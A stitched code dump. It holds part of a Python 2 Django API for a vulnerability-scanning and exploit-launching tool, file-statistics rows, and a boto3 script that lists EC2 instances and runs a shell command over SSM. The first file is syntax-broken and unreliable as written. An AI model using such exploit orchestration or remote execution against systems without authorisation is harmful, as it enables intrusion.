return_response["status"]="success" #+str(scan_attributes.data["project_name"])
return_response["project_id"]=str(scan_id)
return_response["value"]=str(scan_id)
return Response(JSONRenderer().render(return_response))
return_response["status"]="failure"
return_response["errors"]=scan_attributes.errors
return_response["value"]=scan_attributes.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response["status"]="failure"
return_response["errors"]=str(ee)
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class ExploitableProjects(APIView):
Objective :
The objective of this class is to serve the Post method which would return the project id's of the
projects for which the discovery would be over and would be eligible for vulnerability scan
In order to understand about input given to this method and response returned read API documentation.
def get(self,request,format=None):
obj=IPtable.Projects()
projects=obj.completed_projects()
project_list=[]
for project in projects:
#print str(project[0])+ " " +str(project[1])
project_dict={}
project_dict["id"]=project[0]
project_dict["name"]=project[1]
project_list.append(project_dict)
#print "\n\n\n My val is --->"+str(project_list)
return_response={}
try:
serialize=ProjectSerializer(data=project_list,many=True)
#print "\n\n\nserializers are :"+str(serialize)+"\n\n"
except Exception ,ee :
print "EXception " +str(ee)
return_response["status"]="failure"
return_response["errors"]=str(ee)
return Response(JSONRenderer().render(return_response))
if serialize.is_valid():
print "\n\nThe serlize data obtained !!\n\n"
print str(serialize.data)
return_response["status"]="success"
return_response["data"]=serialize.data
else:
return_response["status"]="failure"
return_response["errors"]=serialize.errors
return Response(JSONRenderer().render(return_response))
class ExploitConfig_overwrite(APIView):
Objective :
The objective of this class is to serve the Post method which would take the updated configuration
for a project and would delete the old configuration and results and would update to default
configuration .Thus invoking the file Gui_main_driver.py for the method updateDefaultconfiguration()
In order to understand about input given to this method and response returned read API documentation.
def configure_response(self,default_config):
print "IN configure response !"
config_list=[]
config_dict={}
return_val=[]
for config in default_config["value"]:
print str(config)
config_dict={}
#print str(project[0])+ " " +str(project[1])
config_dict["id"]=config[0]
config_dict["project_id"]=config[1]
config_dict["host"]=config[2]
config_dict["port"]=config[3]
config_dict["service"]=config[4]
config_dict["project_status"]=config[5]
config_dict["Commands"]=config[6]
config_dict["reconfig_service"]=False
config_dict["reconfig_exploit"]=False
config_list.append(config_dict)
return_val.append(config_dict)
return_val.append(config_list)
return return_val
def post(self,request,format=None):
print "\n\n IN post method of config overwrite !!!"
obj=Gui_main_driver.Gui_main()
project_id=request.data["project_id"]
continue_=False
delete=True
default_config=obj.Overwrite_and_GetDefaultConfiguration(project_id,'','',continue_,delete,False)
if default_config["status"]=="reconfig":
resp=self.configure_response(default_config)
config_dict=resp[0]
config_list=resp[1]
#print "\n\n\n"+str(project_list)
return_response={}
if 1:#serialize.is_valid():
return_response["status"]="success"
#return_response["data"]=serialize.data #Note Both work the same !!!
return_response["data"]=config_list#serialize.data #Thus while reteriving data we can simply send back query list to json data !!.No need to build wrapper
else:
return_response["status"]="failure"
return_response["errors"]=serialize.errors
return Response(JSONRenderer().render(return_response))
else:
print "\n\nReturning default config \n\n"
return Response(JSONRenderer().render(default_config))
class ExploitConfig(APIView):
Objective :
The objective of this class is to serve the Post method which would take the updated configuration
for a project and would update the configuration .Thus invoking the file Gui_main_driver.py for the
method updateDefaultconfiguration().Finally it will return the updated configuration
In order to understand about input given to this method and response returned read API documentation.
def post(self,request,format=None):
print "hello world !!"
return_response={}
all_values=[]
obj=Gui_main_driver.Gui_main()
try:
concurrent=request.data["concurrent"]
data_=Configuration(data=request.data["data"],many=True) #it transforms the underlying dictionary to ordered dictionary which is nothing but cololection of tuples.It does that recursively
#data_=test_multi(data=request.data["data"],many=True)
except Exception ,ee:
return_response["status"]="failure"
return_response["errors"]=str(ee)
return_response["value"]="Error message is -->"+str(ee)
return Response(JSONRenderer().render(return_response))
try:
if data_.is_valid(): #list of dictionaries with each dictionary contains list of dict
for key in data_.data: #key would be 1 dict
default_config={}
for i,(k,v) in enumerate(key.iteritems()): #keys would be project_id,commands and etc
#print "--->"+str(type(v))
default_config[k]=v
#print type(default_config)
all_values.append(dict(default_config))
project_id=data_.data[0]["project_id"]
print "Project id is : "+str(project_id)
continue_=False
delete=False
#print "----------------------------------"
#print str(all_values)
#print "\n\n-------------------"
print str(all_values)
if concurrent =="0":
update_result=obj.updateDefaultconfiguration(data_.data,project_id)
elif concurrent=="1":
update_result=obj.updateDefaultconfiguration(data_.data,project_id,'','',True)
print "The length of elements returned :"+str(len(update_result))
print "\n\nObtained result is :" +str(update_result)
return_response["status"]="success"
return_response["value"]=update_result[0] #tedupdate status of services
return_response["data"]=update_result[1] #the list of updated services
else:
return_response["status"]="failure"
return_response["value"]="Error message is :"+str(data_.errors)
return_response["errors"]=data_.errors
except Exception ,ee:
return_response["status"]="failure"
return_response["errors"]=str(ee)
return_response["value"]="Error message is :"+str(ee)
return Response(JSONRenderer().render(return_response))
return Response(JSONRenderer().render(return_response))
def configure_response(self,default_config):
print "IN configure response !"
config_list=[]
config_dict={}
return_val=[]
for config in default_config["value"]:
#print str(config)
config_dict={}
#print str(project[0])+ " " +str(project[1])
config_dict["id"]=config[0]
config_dict["project_id"]=config[1]
config_dict["host"]=config[2]
config_dict["port"]=config[3]
config_dict["service"]=config[4]
config_dict["project_status"]=config[5]
config_dict["Commands"]=config[6]
config_dict["reconfig_service"]=False
config_dict["reconfig_exploit"]=False
config_list.append(config_dict)
return_val.append(config_dict)
return_val.append(config_list)
return return_val
def get(self,request,format=None):
obj=Gui_main_driver.Gui_main()
project_id=request.data["project_id"]
continue_=False
delete=False
default_config=obj.getDefaultConfiguration(project_id,continue_,delete,False)
if default_config["status"]=="reconfig":
resp=self.configure_response(default_config)
config_dict=resp[0]
config_list=resp[1]
#print "\n\n\n"+str(project_list)
return_response={}
try:
print "Reached here"
#serialize=Configuration(data=config_dict)
#print "\n\n\nseturnrializers are :"+str(serialize)+"\n\n"
except Exception ,ee :
print "EXception " +str(ee)
return_response["status"]="failure"
return_response["errors"]=str(ee)
return Response(JSONRenderer().render(return_response))
if 1:#serialize.is_valid():
return_response["status"]="success"
#return_response["data"]=serialize.data #Note Both work the same !!!
return_response["data"]=config_list#serialize.data #Thus while reteriving data we can simply send back query list to json data !!.No need to build wrapper
else:
return_response["status"]="failure"
return_response["errors"]=serialize.errors
return Response(JSONRenderer().render(return_response))
else:
print "\n\nReturning default config \n\n"
return Response(JSONRenderer().render(default_config))
class LaunchExploits(APIView):
Objective :
The objective of this class is to serve the Post method which would take the project id as input and
would start vulneraibility scanning for the obtained project id.
It invokes Gui_main_driver.py file to start vulneribility scanning.
In order to understand about input given to this method and response returned read API documentation.
def post(self,request,format=None):
try:
self.project_obj=IPtable.Projects()
obj=Gui_main_driver.Gui_main()
exploit_data=Exploits(data=request.data)
return_response={}
if(exploit_data.is_valid()):
project_id=exploit_data.data["project_id"]
continue_=True
delete=False
get_default_config=False
threading=exploit_data.data["threading"]
result=self.project_obj.completed_projects(int(project_id))
if result[0] > 0:
exploit_status=obj.LaunchExploits(project_id,continue_,delete,get_default_config,threading)
return_response["status"]="success"
return_response["value"]=exploit_status
else:
return_response["status"]="failure"
return_response["value"]="In valid project id ."
else:
return_response["status"]="failure"
return_response["errors"]=exploit_data.errors
return Response(JSONRenderer().render(return_response))
except Exception,ee:
return_response={}
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class LaunchExploitsConcurrent(APIView):
Objective :
The objective of this class is to serve the Post method which would take the project id as input and
would start vulneraibility scanning for the obtained project id.
It invokes Gui_main_driver.py file to start vulneribility scanning in concurrent mode.
In order to understand about input given to this method and response returned read API documentation.
def post(self,request,format=None):
try:
obj=Gui_main_driver.Gui_main()
exploit_data=ExploitsConcurrent(data=request.data)
return_response={}
if(exploit_data.is_valid()):
project_id=exploit_data.data["project_id"]
continue_=True
delete=False
get_default_config=False
threading=exploit_data.data["threading"]
if threading==True:
threading=False
rec_list=exploit_data.data["record_list"]
exploit_status=obj.LaunchExploits(project_id,continue_,delete,get_default_config,False,True,rec_list)
return_response["status"]="success"
return_response["value"]=exploit_status
else:
return_response["status"]="failure"
return_response["errors"]=exploit_data.errors
return Response(JSONRenderer().render(return_response))
except Exception,ee:
return_response={}
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class DownloadAllMannual(APIView):
Objective :
The objective of this class is to serve the Post method which would take the project id as input and
would return a zipped folder containing all the reports, pcap files and etc.
In order to understand about input given to this method and response returned read API documentation.
def __init__(self):
self.folder_dir=os.path.dirname(os.path.realpath(__file__))
self.results_path=os.path.join(self.folder_dir,"Results")
self.folder_name=os.path.join(self.results_path,"Data_")
def zipdir(self,path,ziph):
for dirname,subdirs,files in os.walk(path):
abs_path_dir=dirname
rel_path_dir=abs_path_dir[len(path)+len(os.sep):]
print "ADd dir is :"+str(rel_path_dir)
for file_ in files:
abs_path=os.path.join(dirname,file_)
rel_path=abs_path[len(path)+len(os.sep):]
ziph.write(abs_path,rel_path)
def init_project_directory(self,project_id):
#print "Initialising parent directory "
try:
if not os.path.exists(self.folder_name+str(project_id)):
return -1
return 1;
except Exception ,ee:
#self.print_Error("Error while creating directory !!"+str(ee))
print "EX "+str(ee)
return -1
def post(self,request,format=None):
self.project_obj=IPtable.Projects()
try:
return_response={}
to_validate=General(data=request.data)
if to_validate.is_valid():
print str(to_validate.data)
project_id=to_validate.data["project_id"]
result=self.project_obj.completed_projects(int(project_id))
if result[0] > 0:
status=self.init_project_directory(project_id)
if status != -1:
self.data_path=self.folder_name+str(project_id)
zip_folder_name="Data_"+str(project_id)+".zip"
zip_folder_creation_path=os.path.join(self.results_path,zip_folder_name)
zip_folder_path=self.data_path #file to be zipped
zipf=zipfile.ZipFile(zip_folder_creation_path,'w',zipfile.ZIP_DEFLATED)
self.zipdir(zip_folder_path,zipf)
zipf.close()
zip_file=open(zip_folder_creation_path,'rb')
resp=HttpResponse(FileWrapper(zip_file),content_type="application/zip")
resp['content-Disposition']='attachment;filename="%s"'%'text.zip'
return resp
else:
return_response["status"]="failure"
return_response["value"]="No data is present for the given project id :"
else:
return_response["status"]="failure"
return_response["value"]="In valid project id ."
else:
return_response["status"]="failure"
return_response["value"]=to_validate.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response={}
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class MergeReports(APIView):
Objective :
The objective of this class is to serve the Post method which would take the project id as input and
would return a zipped folder containing the merged qualys ,nessus and mannual vul scanning report.
In order to understand about input given to this method and response returned read API documentation.
def post(self,request,format=None):
obj=Report_orchestration.Report_merger(True,True)
self.project_obj=IPtable.Projects()
try:
return_response={}
to_validate=Merge_reports(data=request.data)
if to_validate.is_valid():
print str(to_validate.data)
project_id=to_validate.data["project_id"]
format_=to_validate.data["report_format"]
#obj=Report_merger(True,True)
result=self.project_obj.completed_projects(int(project_id))
if result[0] > 0:
resp=obj.generate_report(int(project_id),format_)
if resp["status"]=="success":
return_response["status"]="success"
return_response["value"]=resp["value"]
zip_file=open(resp["value"],'rb')
resp=HttpResponse(FileWrapper(zip_file),content_type="application/zip")
resp['content-Disposition']='attachment;filename="%s"'%'text.zip'
return resp
else:
return_response["status"]="failure"
return_response["value"]=resp["value"]
else:
return_response["status"]="failure"
return_response["value"]="In valid project id ."
else:
return_response["status"]="failure"
return_response["value"]=to_validate.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response={}
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class UploadQualysXml(APIView):
Objective :
The objective of this class is to serve the Post method which would take the qualys xml report and
would parse it and store it in database table.
In order to understand about input given to this method and response returned read API documentation.
parser_classes=(MultiPartParser,)
def post(self,request,format=None):
try:
print "Inside Qualys XML :"
to_validate=UploadXml(data=request.data)
return_response={}
if to_validate.is_valid():
file_obj=request.FILES['filename']
F_validator=FileValidator.FileValidator()
is_xml=F_validator.validateXML(file_obj)
if is_xml:
#print "Validation results are :-->" +str(is_xml)
print str(file_obj.name)
folder_dir=os.path.dirname(os.path.realpath(__file__))
results_path=os.path.join(folder_dir,"XML_reports")
un_id=uuid.uuid1()
pid=to_validate.data["project_name"]
xml_file_name=str(file_obj.name)+"_pid:"+str(pid)+"_uid:"+str(un_id)+".xml"
xml_file_path=os.path.join(results_path,xml_file_name)
with open (xml_file_path,'wb') as out_file:
for chunks in file_obj.chunks():
out_file.write(chunks)
print "uploaded File :--> "+str(xml_file_path)
qualys=Qualys_parser.QualysParser()
qualys_results=None
val=qualys.parse(xml_file_path,int(pid))
if val["status"]=="success":
return_response["status"]="success"
return_response["value"]=str(pid)
else:
return_response["status"]="failure"
return_response["value"]=str(val["value"])
os.remove(xml_file_path)
print "File removed"
else:
return_response["status"]="failure"
return_response["value"]="Supplied file was not XML ,only XML type accepted"
else:
return_response["status"]="failure"
return_response["value"]=to_validate.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response={}
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class ReportOnFly(APIView):
Objective :
The objective of this class is to serve the Post method which would take either qualys or nessus
report as input at one time and would parse the report and map cve's with exploits and would
return final copy of integrated report in the format chosen by user.
In order to understand about input given to this method and response returned read API documentation.
parser_classes=(MultiPartParser,)
def post(self,request,format=None):
try:
to_validate=OnFly(data=request.data)
return_response={}
if to_validate.is_valid():
file_obj=request.FILES['filename']
F_validator=FileValidator.FileValidator()
is_xml=F_validator.validateXML(file_obj)
if is_xml:
valid=["nessus","qualys"]
if (to_validate.data["source"] not in valid):
return_response["status"]="failure"
return_response["value"]="The source of report must be either qualys or nessus"
return Response(JSONRenderer().render(return_response))
print str(file_obj.name)
folder_dir=os.path.dirname(os.path.realpath(__file__))
results_path=os.path.join(folder_dir,"XML_reports")
un_id=uuid.uuid1()
xml_file_name=str(file_obj.name)+"_uid:"+str(un_id)+".xml"
xml_file_path=os.path.join(results_path,xml_file_name)
with open (xml_file_path,'wb') as out_file:
for chunks in file_obj.chunks():
out_file.write(chunks)
print "uploaded File -"+str(xml_file_path)
if to_validate.data["source"]=="nessus":
obj=Exploit_mapping.Exploit_mapping(xml_file_path)
else:
obj=Exploit_mapping.Exploit_mapping('',xml_file_path)
val=obj.generate_report(to_validate.data["report_format"])
os.remove(xml_file_path)
if val["status"]=="success":
print "Success reutrned"
#return_response["status"]="success"
#return_response["value"]=str(pid)
return_response["status"]="success"
return_response["value"]=val["value"]
zip_file=open(val["value"],'rb')
resp=HttpResponse(FileWrapper(zip_file),content_type="application/zip")
resp['content-Disposition']='attachment;filename="%s"'%'Report.zip'
return resp
else:
return_response["status"]="failure"
return_response["value"]=str(val["value"])
else:
return_response["status"]="failure"
return_response["value"]="Supplied file was not XML ,only XML type accepted"
else:
return_response["status"]="failure"
return_response["value"]=to_validate.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
print "Inside exception :"+str(ee)
return_response={}
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
#return Response(status=204)
class UploadNessusXml(APIView):
Objective :
The objective of this class is to serve the Post method which would take the nessus xml report and
would parse it and store it in database table.
In order to understand about input given to this method and response returned read API documentation.
parser_classes=(MultiPartParser,)
def post(self,request,format=None):
try:
to_validate=UploadXml(data=request.data)
return_response={}
if to_validate.is_valid():
file_obj=request.FILES['filename']
F_validator=FileValidator.FileValidator()
is_xml=F_validator.validateXML(file_obj)
if is_xml:
#print "Validation results are :-->" +str(is_xml)
print str(file_obj.name)
folder_dir=os.path.dirname(os.path.realpath(__file__))
results_path=os.path.join(folder_dir,"XML_reports")
un_id=uuid.uuid1()
pid=to_validate.data["project_name"]
xml_file_name=str(file_obj.name)+"_pid:"+str(pid)+"_uid:"+str(un_id)+".nessus"
xml_file_path=os.path.join(results_path,xml_file_name)
with open (xml_file_path,'wb') as out_file:
for chunks in file_obj.chunks():
out_file.write(chunks)
print "uploaded File -"+str(xml_file_path)
nessus=Nessus_parser.Nessus_Parser()
nessus_results=None # ('m.nessus','0','',"return"))
val=nessus.parse(xml_file_path,int(pid))
if val["status"]=="success":
return_response["status"]="success"
return_response["value"]=str(pid)
else:
return_response["status"]="failure"
return_response["value"]=str(val["value"])
os.remove(xml_file_path)
print "File removed"
else:
return_response["status"]="failure"
return_response["value"]="Supplied file was not XML ,only XML type accepted"
else:
return_response["status"]="failure"
return_response["value"]=to_validate.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response={}
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
#return Response(status=204)
class UploadNmapXml(APIView):
Objective :
The objective of this class is to serve the Post method which would take the nmap xml report and
would parse it and store it in database table.
In order to understand about input given to this method and response returned read API documentation.
parser_classes=(MultiPartParser,)
def post(self,request,format=None):
try:
IPtable_obj=IPtable.IPtable()
to_validate=UploadXml(data=request.data)
return_response={}
if to_validate.is_valid():
file_obj=request.FILES['filename']
F_validator=FileValidator.FileValidator()
is_xml=F_validator.validateXML(file_obj)
if is_xml:
#print "Validation results are :-->" +str(is_xml)
print str(file_obj.name)
folder_dir=os.path.dirname(os.path.realpath(__file__))
results_path=os.path.join(folder_dir,"XML_reports")
pid=IPtable_obj.Insert(to_validate.data["project_name"],'import',str(file_obj.name))
if (pid==-1):
return_response["status"]="failure"
return_response["value"]="Some error occured while inserting details"
return Response(JSONRenderer().render(return_response))
xml_file_name=str(file_obj.name)+"_"+str(pid)
xml_file_path=os.path.join(results_path,xml_file_name)
with open (xml_file_path,'wb') as out_file:
for chunks in file_obj.chunks():
out_file.write(chunks)
print "uploaded"
val=nmap_parser.Import('gui',xml_file_path,to_validate.data["project_name"],pid)
if val["status"]=="success":
return_response["status"]="success"
return_response["value"]=str(pid)
else:
return_response["status"]="failure"
return_response["value"]=str(val["value"])
else:
return_response["status"]="failure"
return_response["value"]="Supplied file was not XML ,only XML type accepted"
else:
return_response["status"]="failure"
return_response["value"]=to_validate.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response={}
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class Reconfigure():
Objective :
The objective of this class is to help in reconfiguration of the input given by user for
updating configuration.It does not interact with the web service directly.
In order to understand about input given to this method and response returned read API
documentation.
def configure_response(self,default_config):
print "IN configure response !"
config_list=[]
config_dict={}
record_list=[]
return_val=[]
for config in default_config["value"]:
#print str(config)
config_dict={}
#print str(project[0])+ " " +str(project[1])
config_dict["id"]=config[0]
record_list.append(config[0])
config_dict["project_id"]=config[1]
config_dict["host"]=config[2]
config_dict["port"]=config[3]
config_dict["service"]=config[4]
config_dict["project_status"]=config[5]
config_dict["Commands"]=config[6]
config_dict["reconfig_service"]=False
config_dict["reconfig_exploit"]=False
config_list.append(config_dict)
return_val.append(config_dict)
return_val.append(config_list)
return_val.append(record_list)
return return_val
class PollingConfig(APIView):
Objective :
The objective of this class is to serve the Post-Get methods which would take the project id and would
return the configuration for the vul scanning for the records for which the discovery would be over.
This is essentially used in concurrent mode
In order to understand about input given to this method and response returned read API documentation.
def get(self,request,format=None):
try:
return_response={}
project_id=request.data["project_id"]
obj=Polling.PollingExploits(int(project_id))
continue_=False
delete=False
default_config=obj.getConfiguration()
if default_config["status"]=="reconfig":
exp_obj=Reconfigure()
resp=exp_obj.configure_response(default_config)
config_dict=resp[0]
config_list=resp[1]
record_list=resp[2]
return_response["status"]="success"
#return_response["data"]=serialize.data #Note Both work the same !!!
return_response["data"]=config_list
return_response["record_list"]=record_list
return Response(JSONRenderer().render(return_response))
else:
print "\n\n Returning default config \n\n"
return Response(JSONRenderer().render(default_config))
except Exception ,ee:
return_response["status"]="failure"
return_response["data"]=str(ee)
return Response(JSONRenderer().render(return_response))
def post(self,request,format=None):
try:
return_response={}
update_data=Polling_(data=request.data)
return_response={}
if(update_data.is_valid()):
project_id=update_data.data["project_id"]
record_list=update_data.data["record_list"]
obj=Polling.PollingExploits(int(project_id))
return_response=obj.UpdateStatus(record_list)
else:
return_response["status"]="failure"
return_response["errors"]=update_data.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class PercentPolling(APIView):
Objective :
The objective of this class is to serve the Get-Post method which would return teh percantage of the
completion in case of discovery and vulnerability scanning
In order to understand about input given to this method and response returned read API documentation.
def get(self,request,format=None):
try:
self.project_obj=IPtable.Projects()
return_response={}
poll_data=Poll_me(data=request.data)
if poll_data.is_valid():
project_id=request.data["project_id"]
result=self.project_obj.completed_projects(int(project_id))
if result[0] > 0:
obj=IPtable.Projects()
continue_=False
delete=False
valid_source=["discovery","scan"]
if request.data["source"] not in valid_source:
return_response["status"]="failure"
return_response["data"]="The source can either be scan or discovery"
return_response["value"]="The source can either be scan or discovery"
return Response(JSONRenderer().render(return_response))
poll_results=obj.Poll(int(project_id),request.data["source"])
if poll_results != -1:
return_response["status"]="success"
#return_response["data"]=serialize.data #Note Both work the same !!!
return_response["data"]=poll_results[0]
return_response["value"]=poll_results[0]
return Response(JSONRenderer().render(return_response))
else:
return_response["status"]="failure"
return_response["value"]="Cant fetch Polling status.Kindly check supplied params"
return_response["data"]="Cant fetch Polling status.Kindly check supplied params"
return Response(JSONRenderer().render(return_response))
else:
return_response["status"]="failure"
return_response["value"]="In valid project id"
return_response["data"]="In valid project id"
return Response(JSONRenderer().render(return_response))
else:
return_response["status"]="failure"
return_response["data"]=poll_data.errors
return_response["errors"]=poll_data.errors
return_response["value"]=poll_data.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response["status"]="failure"
return_response["data"]=str(ee)
return Response(JSONRenderer().render(return_response))
class PollingExploit(APIView):
Objective :
The objective of this class is to poll the vulnerability scanning and return results.
In order to understand about input given to this method and response returned read API documentation.
def get(self,request,format=None):
try:
self.project_obj=IPtable.Projects()
return_response={}
project_id=request.data["project_id"]
result=self.project_obj.completed_projects(int(project_id))
if result[0] > 0:
obj=Polling.PollingExploits(int(project_id))
continue_=False
delete=False
default_config=obj.ExploitPoll()
if default_config["status"]=="success":
exp_obj=Reconfigure()
resp=exp_obj.configure_response(default_config)
config_dict=resp[0]
config_list=resp[1]
record_list=resp[2]
return_response["status"]="success"
#return_response["data"]=serialize.data #Note Both work the same !!!
return_response["data"]=config_list
return_response["record_list"]=record_list
return Response(JSONRenderer().render(return_response))
else:
print "\n\n Returning default config \n\n"
return Response(JSONRenderer().render(default_config))
else:
return_response["status"]="failure"
return_response["data"]="In valid project id"
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response["status"]="failure"
return_response["data"]=str(ee)
return Response(JSONRenderer().render(return_response))
def post(self,request,format=None):
try:
return_response={}
update_data=Polling_(data=request.data)
return_response={}
if(update_data.is_valid()):
project_id=update_data.data["project_id"]
record_list=update_data.data["record_list"]
obj=Polling.PollingExploits(int(project_id))
return_response=obj.UpdateStatusExploit(record_list)
else:
return_response["status"]="failure"
return_response["errors"]=update_data.errors
return Response(JSONRenderer().render(return_response))
except Exception ,ee:
return_response["status"]="failure"
return_response["value"]=str(ee)
return Response(JSONRenderer().render(return_response))
class ExploitConfigConc(APIView):
Objective :
The objective of this class is to serve Get method which would poll the backend code
to fetch results of vulnerability scanning when mode is concurrent.
In order to understand about input given to this method and response returned read API documentation.
def get(self,request,format=None):
try:
return_response={}
obj=Gui_main_driver.Gui_main()
project_id=request.data["project_id"]
continue_=False
delete=False
default_config=obj.getDefaultConfiguration(project_id,'','',True,True,'')
if default_config["status"]=="reconfig":
exp_obj=Reconfigure()
resp=exp_obj.configure_response(default_config)
config_dict=resp[0]
config_list=resp[1]
record_list=resp[2]
return_response["status"]="success"
#return_response["data"]=serialize.data #Note Both work the same !!!
return_response["data"]=config_list
return_response["record_list"]=record_list
return Response(JSONRenderer().render(return_response))
else:
print "\n\n Returning default config \n\n"
return Response(JSONRenderer().render(default_config))
except Exception ,ee:
#except Exception ,ee:
return_response["status"]="failure"
return_response["data"]=str(ee)
return Response(JSONRenderer().render(return_response))
"""
| 35.556548
| 247
| 0.731376
| 6,356
| 47,788
| 5.309314
| 0.068282
| 0.171339
| 0.05571
| 0.069223
| 0.852131
| 0.834084
| 0.817786
| 0.802228
| 0.789279
| 0.778314
| 0
| 0.002447
| 0.153553
| 47,788
| 1,343
| 248
| 35.583023
| 0.831817
| 1.562401
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
375286b65637da0b80f9c862c886b4a0a94d6014
| 96
|
py
|
Python
|
pyplus/autotest/__init__.py
|
tornadoyi/pyplus
|
4b98f0eff9c2f027a601ade220c2aaf1769850fd
|
[
"Apache-2.0"
] | 2
|
2018-09-26T14:01:12.000Z
|
2020-04-02T13:44:53.000Z
|
pyplus/autotest/__init__.py
|
tornadoyi/pyplus
|
4b98f0eff9c2f027a601ade220c2aaf1769850fd
|
[
"Apache-2.0"
] | null | null | null |
pyplus/autotest/__init__.py
|
tornadoyi/pyplus
|
4b98f0eff9c2f027a601ade220c2aaf1769850fd
|
[
"Apache-2.0"
] | null | null | null |
from .manager import Manager
def add(*args, **kwargs): return Manager().add(*args, **kwargs)
| 16
| 63
| 0.6875
| 13
| 96
| 5.076923
| 0.615385
| 0.212121
| 0.393939
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135417
| 96
| 5
| 64
| 19.2
| 0.795181
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0.5
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
|
0
| 8
|
3753af53db2dc239bd9271843290bf411e309d23
| 10,911
|
py
|
Python
|
test/myproject/map/python_function/EC2-logs-yeonseok.py
|
d0r6y/CloudKloud
|
33747e208bd625a6c80bae0f87a0997181be4298
|
[
"MIT"
] | null | null | null |
test/myproject/map/python_function/EC2-logs-yeonseok.py
|
d0r6y/CloudKloud
|
33747e208bd625a6c80bae0f87a0997181be4298
|
[
"MIT"
] | null | null | null |
test/myproject/map/python_function/EC2-logs-yeonseok.py
|
d0r6y/CloudKloud
|
33747e208bd625a6c80bae0f87a0997181be4298
|
[
"MIT"
] | null | null | null |
import boto3
import json
import time
from datetime import datetime
nowtime = datetime.now()
AWS_ACCESS_KEY_ID =""
AWS_SECRET_ACCESS_KEY = ""
AWS_DEFAULT_REGION = "ap-northeast-2"
# 이건 VPC Flow 틀어놓은 개인계정
logs = boto3.client('logs', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY,
region_name=AWS_DEFAULT_REGION)
ec2 = boto3.resource('ec2',
aws_access_key_id=AWS_ACCESS_KEY_ID,
aws_secret_access_key=AWS_SECRET_ACCESS_KEY,
region_name=AWS_DEFAULT_REGION
)
ssm_client = boto3.client('ssm',
aws_access_key_id=AWS_ACCESS_KEY_ID,
aws_secret_access_key=AWS_SECRET_ACCESS_KEY,
region_name=AWS_DEFAULT_REGION
)
'''
비정상적 포트로 통신
25번 포트로 통신 (Spam bot)
알려진 malicious IP와의 통신
대량의 트래픽 발생 (DOS)
네트워크 스캐닝
IP 기반 접근제어 부재
의심스런 도메인과의 통신
사용하지 않는 프로토콜 사용
인스턴스 시작/종료 시점
'''
'''
최종 결과 형식
result = {"timestamp": i['timestamp'], "message": i['message']}
print(result)
'''
print("== EC2 인스턴스 목록 ==")
for instance in ec2.instances.all():
nowtime = datetime.now()
result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message": instance.id}
print(result)
print("== 실행 중인 EC2 인스턴스 목록 ==")
for instance in ec2.instances.all():
if instance.state['Name'] == 'running':
result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message": instance.id}
print(result)
print("== 일시 정지 중인 EC2 인스턴스 목록 ==")
for instance in ec2.instances.all():
if instance.state['Name'] == 'stopped':
result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message": instance.id}
print(result)
target_id = "i-0809bd00775331efb"
print("== 전체 보안 그룹명 ==")
sgs = list(ec2.security_groups.all())
all_sgs = set([sg.group_name for sg in sgs])
result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message": all_sgs}
print(result)
response = ssm_client.send_command(
InstanceIds=[
target_id
],
DocumentName="AWS-RunShellScript",
Comment="Code to run" ,
Parameters={
"commands": ["uname -a"]
}
)
cmd_id= response['Command']['CommandId']
time.sleep(2) # 이거 안하면 get_command_invocation에서 에러 뿜뿜함
response = ssm_client.get_command_invocation(CommandId=cmd_id,
InstanceId=target_id)
print("== 시스템 정보 ==")
